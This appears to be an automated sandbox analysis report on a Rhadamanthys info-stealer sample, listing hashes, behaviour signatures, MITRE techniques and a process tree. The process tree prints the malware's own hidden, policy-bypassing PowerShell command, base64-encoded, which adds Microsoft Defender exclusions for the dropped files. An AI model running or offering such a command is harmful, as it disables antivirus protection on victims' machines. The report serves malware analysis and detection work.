Analysis

  • max time kernel
    137s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08-07-2024 03:35

General

  • Target

    7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224.exe

  • Size

    5.4MB

  • MD5

    a2a9c309c5300a53d2c2fc41b71b174b

  • SHA1

    f6c26eae1925425fa8966266e87a57b688fad218

  • SHA256

    7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224

  • SHA512

    a29eec8fa98174a74e9bd93c5902cdd95ce329ff8b7a1469901a95705dc1d7fffde58afa296399febb8559d8cd73c932945e85cce8af54e7a672d8f1618e3f7c

  • SSDEEP

    98304:j+ddAtuMvY00V2vtQSH7OuqeGszSQTADu0mL63KQOKvYA1ZuoyQPNf+xKi:wdOuMvc8VdbOuqePmQTAKH63NYAiGfiT

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1216
      • C:\Users\Admin\AppData\Local\Temp\7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224.exe
        "C:\Users\Admin\AppData\Local\Temp\7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1072
        • C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
          "C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:588
          • C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
            "C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1756
        • C:\Users\Admin\AppData\Local\Temp\7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224.exe
          "C:\Users\Admin\AppData\Local\Temp\7ccfae8644c3bc7439b88f2dc0de06bb5082de09b0bf5e143de17487ff252224.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2040
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Deletes itself
        • Suspicious behavior: EnumeratesProcesses
        PID:2652
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {B5B0AC86-35F4-4729-854A-1678CEF3F234} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:S4U:
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:7020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAARgBhAGwAbABiAGEAYwBrAEIAdQBmAGYAZQByAC4AZQB4AGUAOwA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:7052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAARgBhAGwAbABiAGEAYwBrAEIAdQBmAGYAZQByAC4AZQB4AGUAOwA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6720
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {80026AB1-0401-4D29-B987-51FDF634B2AC} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Users\Admin\AppData\Local\Current\ufnxolhs\FallbackBuffer.exe
        C:\Users\Admin\AppData\Local\Current\ufnxolhs\FallbackBuffer.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Users\Admin\AppData\Local\Current\ufnxolhs\FallbackBuffer.exe
          "C:\Users\Admin\AppData\Local\Current\ufnxolhs\FallbackBuffer.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4672
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            4⤵
              PID:8164
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              4⤵
              • Suspicious use of SetThreadContext
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:8172
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5768

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        8897806ad57964eb8868502efe697304

        SHA1

        84c05732fdac0d0b43ea244d2b070588cc784c50

        SHA256

        1fcebb06e4e8da3634372d06be369139dae9918f3792a8eff6b243f9889b111c

        SHA512

        46fb58d3169be0adc890f1993b9e3d85bede7067a59f8bcadf1461c3b0e8aa5f4cb1601d7f6939eacaa5bf4a8e6e3dda2b7ded6c35c9658c921744a9757a42cb

      • \Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
        Filesize

        2.7MB

        MD5

        abf2da5b3e7845f50463a72f8b6e6aaa

        SHA1

        a5299f55950ca82134da73b9e9844c5d624114c3

        SHA256

        2a4b1ae0ae67cd31f85680e6351bd5b92ff61e246c158decb1a43a3ef01d9f2c

        SHA512

        570e8becd18b36d66a2ac295518c8ba3c0bc83d8a6175e601b509efd9237462d1d0826dbeb9e52465e7cdcd57cb4ae7fd859ddc4a5aad895cef6ef7fa981e8a4

      • memory/588-9805-0x0000000004E30000-0x0000000004F24000-memory.dmp
        Filesize

        976KB

      • memory/588-9828-0x0000000073B30000-0x000000007421E000-memory.dmp
        Filesize

        6.9MB

      • memory/588-4902-0x0000000004B70000-0x0000000004E28000-memory.dmp
        Filesize

        2.7MB

      • memory/588-4901-0x0000000073B30000-0x000000007421E000-memory.dmp
        Filesize

        6.9MB

      • memory/588-4900-0x00000000000A0000-0x000000000035C000-memory.dmp
        Filesize

        2.7MB

      • memory/816-12050-0x0000000000830000-0x0000000000AEC000-memory.dmp
        Filesize

        2.7MB

      • memory/1072-82-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-89-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-32-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-35-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-37-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-40-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-44-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-48-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-56-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-60-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-62-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-64-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-66-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-80-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-13-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-20-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-8-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-43-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-47-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-50-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-70-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-76-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-78-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-74-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-72-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-84-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-0-0x0000000073B3E000-0x0000000073B3F000-memory.dmp
        Filesize

        4KB

      • memory/1072-86-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-68-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-59-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-55-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-28-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-90-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-22-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-52-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-4889-0x0000000073B30000-0x000000007421E000-memory.dmp
        Filesize

        6.9MB

      • memory/1072-4891-0x0000000000C80000-0x0000000000CCC000-memory.dmp
        Filesize

        304KB

      • memory/1072-4890-0x00000000057C0000-0x0000000005B70000-memory.dmp
        Filesize

        3.7MB

      • memory/1072-19-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-15-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-4899-0x0000000002760000-0x00000000027B4000-memory.dmp
        Filesize

        336KB

      • memory/1072-10-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-5-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-1-0x0000000000200000-0x0000000000778000-memory.dmp
        Filesize

        5.5MB

      • memory/1072-2-0x0000000006100000-0x0000000006674000-memory.dmp
        Filesize

        5.5MB

      • memory/1072-6-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-3-0x0000000006100000-0x000000000666E000-memory.dmp
        Filesize

        5.4MB

      • memory/1072-9829-0x0000000073B30000-0x000000007421E000-memory.dmp
        Filesize

        6.9MB

      • memory/1756-9826-0x00000000004E0000-0x000000000058C000-memory.dmp
        Filesize

        688KB

      • memory/1756-12036-0x0000000004EC0000-0x0000000004F16000-memory.dmp
        Filesize

        344KB

      • memory/1756-12035-0x00000000007E0000-0x00000000007E8000-memory.dmp
        Filesize

        32KB

      • memory/1756-9827-0x00000000047B0000-0x0000000004898000-memory.dmp
        Filesize

        928KB

      • memory/2040-10212-0x0000000000920000-0x0000000000928000-memory.dmp
        Filesize

        32KB

      • memory/2040-4989-0x00000000000C0000-0x0000000000170000-memory.dmp
        Filesize

        704KB

      • memory/4672-16950-0x0000000000400000-0x00000000004AC000-memory.dmp
        Filesize

        688KB

      • memory/4672-19147-0x00000000022C0000-0x0000000002314000-memory.dmp
        Filesize

        336KB

      • memory/6720-26260-0x0000000019F30000-0x000000001A212000-memory.dmp
        Filesize

        2.9MB

      • memory/6720-26261-0x0000000000F40000-0x0000000000F48000-memory.dmp
        Filesize

        32KB

      • memory/7052-12045-0x0000000019E00000-0x000000001A0E2000-memory.dmp
        Filesize

        2.9MB

      • memory/7052-12046-0x0000000000F90000-0x0000000000F98000-memory.dmp
        Filesize

        32KB

      • memory/8172-19160-0x0000000000400000-0x00000000006BC000-memory.dmp
        Filesize

        2.7MB